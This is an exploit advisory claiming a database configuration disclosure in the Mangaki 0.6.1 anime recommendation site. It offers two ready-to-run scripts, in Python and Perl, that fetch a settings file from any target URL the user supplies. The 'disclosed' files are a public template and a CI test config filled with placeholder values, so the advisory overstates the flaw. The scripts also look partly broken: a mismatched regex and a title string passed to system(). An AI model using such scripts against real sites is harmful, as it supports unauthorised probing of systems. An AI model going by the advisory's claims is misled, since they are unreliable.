###########################################################################

# Exploit Title : Mangaki 0.6.1 Database Configuration Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 09/06/2019
# Vendor Homepage : mangaki.fr
# Software Download Link : github.com/mangaki/mangaki/archive/master.zip
# Software Version : 0.6.1 and lower versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : 
CWE-16   [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/

###########################################################################

# Information about Software :
****************************
Mangaki is an anime & manga recommendation website.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible 
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information 
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of 
MySQL over the World Wide Web. It can be used to dump a database or a collection of 
databases for backup or transfer to another SQL server (not necessarily a MySQL server). 
The dump typically contains SQL statements to create the table, populate it, or both. 
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and 
should not be found on a production system.
* It looks like this file contains a database backup/dump. 
Acunetix inferred this filename from the domain name. A database backup contains a record of the
 table structure and/or the data from a database and is usually in the form of a list of SQL statements. 
A database backup is most often used for backing up a database so that its contents can be restored 
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible 
to the web server. As a workaround, you could restrict access to this file.

###########################################################################

File :
******
/mangaki/settings.template.ini

/mangaki/mangaki/settings.template.ini

Information :
*************
[debug]
  DEBUG = True
  # Debug JavaScript frontend
  DEBUG_VUE_JS = True

[email]
  EMAIL_BACKEND = django.core.mail.backends.console.EmailBackend

[secrets]
# Choose your own password or generate it with `pwgen -s -c 60 1`
  SECRET_KEY = CHANGE_ME
  DB_PASSWORD = YOUR_POSTGRE_PASSWORD

#[deployment]
#  MEDIA_ROOT = <base directory for media files>
#  STATIC_ROOT = <base directory for static files>
#  DATA_ROOT = <base directory for data files: snapshots of algorithms, side information>

#[hosts]
#  ALLOWED_HOSTS = <see https://docs.djangoproject.com/fr/1.10/ref/settings/#allowed-hosts> 

#[mal] # Used to get posters and user lists
#  MAL_USER = 
#  MAL_USER_AGENT = 

#[anidb]
#  ANIDB_CLIENT = 
#  ANIDB_VERSION = 1

#[pgsql]
#  DB_HOST = <defaults to 127.0.0.1>
#  DB_NAME = <defaults to mangaki>
#  DB_USER = <defaults to django>

#[sentry] (not required, only if you want to enable Sentry support)
#  DSN = <sentry DSN>

#[secrets]
#  MAL_PASS = 

#[smtp]
#  EMAIL_HOST = 
#  EMAIL_HOST_PASSWORD = 
#  EMAIL_HOST_USER = 
#  EMAIL_PORT = 
#  EMAIL_SSL_CERTFILE = 
#  EMAIL_SSL_KEYFILE = 
#  EMAIL_TIMEOUT = 
#  EMAIL_USE_SSL = 
#  EMAIL_USE_TLS = 

raw.githubusercontent.com/mangaki/mangaki/master/mangaki/settings.template.ini

File :
*******
/.circle_mangaki_settings.ini

Information :
*************
[debug]
DEBUG = True

[secrets]
SECRET_KEY = test
DB_PASSWORD = ""

[pgsql]
DB_NAME = circle_test
DB_USER = mangaki

[email]
EMAIL_BACKEND = django.core.mail.backends.dummy.EmailBackend

raw.githubusercontent.com/mangaki/mangaki/master/.circle_mangaki_settings.ini

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/mangaki/settings.template.ini"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('Mangaki 0.6.1 Database Configuration Disclosure');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="mangaki/settings.template.ini";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/mangaki/settings.template.ini");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/mangaki/settings.template.ini\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###########################################################################